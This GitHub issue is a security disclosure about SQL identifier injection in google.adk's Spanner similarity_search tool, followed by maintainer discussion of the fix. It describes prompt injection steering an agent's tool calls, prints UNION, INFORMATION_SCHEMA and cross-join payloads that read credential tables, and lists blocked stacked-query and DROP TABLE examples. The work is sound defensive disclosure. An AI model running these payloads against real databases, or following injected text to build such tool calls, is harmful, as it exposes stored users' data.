Skip to content

Spanner search tool: validate structural SQL identifiers (defense-in-depth for prompt-injection-driven SQLi) #5913

Closed

Description

@pk009900

Summary

google.adk.tools.spanner.search_tool interpolates several LLM-controllable
parameters into SQL via f-strings without validation:

  • table_name, columns, embedding_column_to_search, additional_filter,
    top_k in _generate_sql_for_knn / _generate_sql_for_ann
  • spanner_googlesql_embedding_model_name in _generate_googlesql_for_embedding_query
  • vertex_ai_embedding_model_endpoint (inside '...') in
    _generate_postgresql_for_embedding_query

These are not standard untrusted-input SQLi (Spanner's execute_sql is
single-statement; stacked queries fail at parse), but similarity_search is
registered as a GoogleTool in SpannerToolset.get_tools() (spanner_toolset.py:122),
so the LLM populates these parameters at runtime. A successful prompt injection
on the agent's input can lead the LLM to call the tool with malicious values,
enabling single-statement primitives like UNION-based read exfiltration and
INFORMATION_SCHEMA enumeration against any table the service account can SELECT.

Threat model

prompt-injected user message
        │
        ▼
LLM populates similarity_search(table_name=..., columns=..., additional_filter=..., ...)
        │
        ▼
_generate_sql_for_knn renders the values into an f-string SQL template
        │
        ▼
snapshot.execute_sql(sql, params={embedding: ...})  -- structural identifiers unbound

The query parameter is correctly bound (@query / $1), but every structural
identifier above flows in unvalidated.

Reproduction (single-statement primitives that work)

Each example below shows the LLM-emitted tool-call arguments and the resulting
SQL rendered by _generate_sql_for_knn. All three parse as a single Spanner
GoogleSQL statement and exercise the documented surface of similarity_search.

1. UNION-based exfiltration via additional_filter

from google.adk.tools.spanner import search_tool
from google.cloud.spanner_admin_database_v1.types import DatabaseDialect

sql = search_tool._generate_sql_for_knn(
    dialect=DatabaseDialect.GOOGLE_STANDARD_SQL,
    table_name="documents",
    embedding_column_to_search="embedding",
    columns=["content"],
    additional_filter="1=1 UNION ALL SELECT password, 0.0 FROM admin_credentials",
    distance_type="COSINE",
    top_k=10,
)

Rendered SQL:

SELECT content, COSINE_DISTANCE(embedding, @embedding) AS distance
FROM documents
WHERE 1=1 UNION ALL SELECT password, 0.0 FROM admin_credentials
ORDER BY distance
LIMIT 10

UNION ALL operates at the SELECT-statement level; column counts match (2 on
each side); ORDER BY distance binds to the combined result. Any table the
service account can SELECT becomes readable through the search result rows.

2. INFORMATION_SCHEMA enumeration via columns

sql = search_tool._generate_sql_for_knn(
    dialect=DatabaseDialect.GOOGLE_STANDARD_SQL,
    table_name="documents",
    embedding_column_to_search="embedding",
    columns=[
        "(SELECT STRING_AGG(table_name, ',') FROM INFORMATION_SCHEMA.TABLES) AS schema_dump",
        "content",
    ],
    additional_filter=None,
    distance_type="COSINE",
    top_k=1,
)

Rendered SQL:

SELECT (SELECT STRING_AGG(table_name, ',') FROM INFORMATION_SCHEMA.TABLES) AS schema_dump,
       content,
       COSINE_DISTANCE(embedding, @embedding) AS distance
FROM documents
WHERE 1=1
ORDER BY distance
LIMIT 1

A scalar subquery in the SELECT list is valid GoogleSQL. The attacker gets the
full table inventory of the database the agent's SA can see, which makes
follow-up primitive 1 trivially weaponizable across the whole instance.

3. Cross-table read via table_name

sql = search_tool._generate_sql_for_knn(
    dialect=DatabaseDialect.GOOGLE_STANDARD_SQL,
    table_name="documents JOIN admin_credentials ac ON TRUE",
    embedding_column_to_search="embedding",
    columns=["ac.password", "ac.username"],
    additional_filter=None,
    distance_type="COSINE",
    top_k=50,
)

Rendered SQL:

SELECT ac.password, ac.username, COSINE_DISTANCE(embedding, @embedding) AS distance
FROM documents JOIN admin_credentials ac ON TRUE
WHERE 1=1
ORDER BY distance
LIMIT 50

A cross-join multiplies documents rows with every row of admin_credentials,
projecting credentials into the search result regardless of vector similarity.
Works against any pair of tables the service account can SELECT.

What does not work (so reviewers don't have to check)

Stacked queries (;-separated statements) are rejected by Spanner's
execute_sql at parse time, so payloads like LIMIT 10; SELECT * FROM secrets,
...; DROP TABLE users, or MODEL m); SELECT ... FROM INFORMATION_SCHEMA.TABLES
do not execute. DDL via execute_sql is also blocked — DDL goes through
Database.update_ddl. The realistic blast radius is bounded to read primitives
against tables the agent's SA can already SELECT.

Proposed fix

  • Regex-validate identifiers (table, columns, embedding column, GSQL model name)
  • Regex-validate the Vertex AI endpoint format used in the PG literal
  • Reject ;, --, /*, */ in additional_filter and document it as a
    developer-trusted field rather than LLM-controllable
  • Enforce int on top_k inside similarity_search (the dict path; the
    pydantic SpannerVectorStoreSettings path is already type-safe)

Discovered via OSS VRP, bug ID [redact if needed]. Happy to send a PR.

Activity

  1. added
    tools[Component] This issue is related to tools
    on May 30, 2026
  2. added theissue type on May 30, 2026
  3. llalitkumarrr commented on Jun 1, 2026

    @llalitkumarrr
    Collaborator

    Hello @pk009900 ,

    We believe sensitive data access can be controlled through read permissions, which may limit exposure of restricted information. Could you please try this and let us know if you are able to access restricted information? Also, please confirm if we have correctly understood your concern.

  4. added
    request clarification[Status] The maintainer need clarification or more information from the author
    on Jun 1, 2026
  5. pk009900 commented on Jun 1, 2026

    @pk009900
    Author

    Hi @llalitkumarrr, thanks for picking this up.

    You're right that the Spanner service account's read permissions bound the blast radius — an attacker can't read tables the SA itself can't SELECT. I want to confirm that and explain why I still think the validation is worth adding.

    The concern isn't permission escalation, it's scope expansion within the SA's existing permissions.

    When a developer wires up SpannerToolset they typically intend the agent to search one vector store table — e.g. product_descriptions — with a known set of return columns and a fixed business filter. The SA, however, almost always has SELECT on more than just that table: shared embedding tables, user profile tables, audit logs, internal config tables, anything else the same application reads. That's the normal shape of a least-privilege-but-not-paranoid SA in a real deployment.

    Because similarity_search is registered as a GoogleTool (spanner_toolset.py:122), the LLM is the one filling in table_name, columns, and additional_filter at call time. With prompt injection in agent input (e.g. an injected instruction inside a retrieved document, an email body, a webpage the agent fetched), the LLM can be steered to call the tool with values that point at any table the SA can read — not just the one the developer intended.

    Concretely, in a deployment where the SA can SELECT from both product_descriptions and user_profiles:

    • Intended call: similarity_search(table_name="product_descriptions", columns=["name", "description"], additional_filter="in_stock = TRUE")
    • Prompt-injection-driven call: similarity_search(table_name="product_descriptions JOIN user_profiles u ON TRUE", columns=["u.email", "u.phone"], additional_filter=None) — returns user records on every search.

    Both calls are within the SA's permissions. Only the first is within the developer's intent. The validators close the gap by ensuring the LLM can only supply identifiers (not joined table expressions, not subqueries in columns, not UNION ALL in additional_filter).

    Empirical confirmation: I have not run these against a live Spanner instance — I don't have a project where I can ethically test against real data. The rendered SQL in the issue parses as valid single-statement GoogleSQL (UNION at SELECT level, scalar subquery in SELECT list, JOIN in FROM), all documented features. Happy to run them against the Spanner emulator and post results if that would help.

    Did you understand the concern correctly? Yes — prompt-injection-driven SQL identifier injection in an LLM-exposed tool, bounded by SA permissions, exploitable for cross-table reads and schema enumeration within those permissions. Defense in depth, not a permission-bypass claim.

    Happy to send the PR with the validators and tests if the approach lands.

  6. llalitkumarrr commented on Jun 4, 2026

    @llalitkumarrr
    Collaborator

    Hello @pk009900 ,

    There is a PR linked to this issue could you please check if this PR resolve the issue?
    Additionally could you please explore Fine-grained access control and check if it can of any help for this issue?

  7. pk009900 commented on Jun 4, 2026

    @pk009900
    Author

    Hi @llalitkumarrr,

    Re: Fine-grained access control

    FGAC doesn't close this at the SDK layer for three reasons:

    1. FGAC requires roles/spanner.admin setup per-database by an administrator. Most developers deploying SpannerToolset will not have configured it — the SDK cannot assume it is in place.
    2. Even with FGAC, restricting INFORMATION_SCHEMA visibility requires explicitly granting spanner_info_reader to the SA. Developers shouldn't need to know this to safely use an ADK tool.
    3. FGAC doesn't block UNION or cross-JOIN primitives — it only limits which tables the SA can read. The SDK-level fix ensures the LLM cannot construct those queries at all, regardless of downstream permission configuration.

    The correct fix layer is the SDK, not the deployment environment.

    Re: PR #5952

    The approach in #5952 is correct. Before merging, please verify these specific gaps from the original report are covered:

    • spanner_googlesql_embedding_model_name in _generate_googlesql_for_embedding_query
    • vertex_ai_embedding_model_endpoint in _generate_postgresql_for_embedding_query
    • UNION keyword blocked in additional_filter (the current blocklist covers ;, --, /*, */ but UNION without a semicolon is the primary exfiltration primitive)

    If those three are addressed, the PR resolves the issue.


  8. added
    needs review[Status] The PR/issue is awaiting review from the maintainer
    and removed
    request clarification[Status] The maintainer need clarification or more information from the author
    on Jun 22, 2026
  9. llalitkumarrr commented on Jul 22, 2026

    @llalitkumarrr
    Collaborator

    Hello @sasha-gitg ,

    Could you please take a look at this?

  10. pk009900 commented on Aug 6, 2026

    @pk009900
    Author

    Hi @sasha-gitg,

    Just checking in on this — the issue has been open for ~10 weeks and PR #5952 has been linked since Jun 3.

    To save review time, the three items I'd flag on the PR before merge:

    1. spanner_googlesql_embedding_model_name in _generate_googlesql_for_embedding_query — needs the same identifier validation
    2. vertex_ai_embedding_model_endpoint in _generate_postgresql_for_embedding_query — needs format validation
    3. UNION keyword in the additional_filter blocklist — without it the primary exfiltration primitive (UNION ALL read across tables) still works even with ;, --, /* blocked

    Happy to open a follow-up PR covering any of these if it helps move things along.

  11. added a commit that references this issue on Aug 19, 2026
    8d2f277
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Labels

needs review[Status] The PR/issue is awaiting review from the maintainertools[Component] This issue is related to tools

Type

Projects

No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions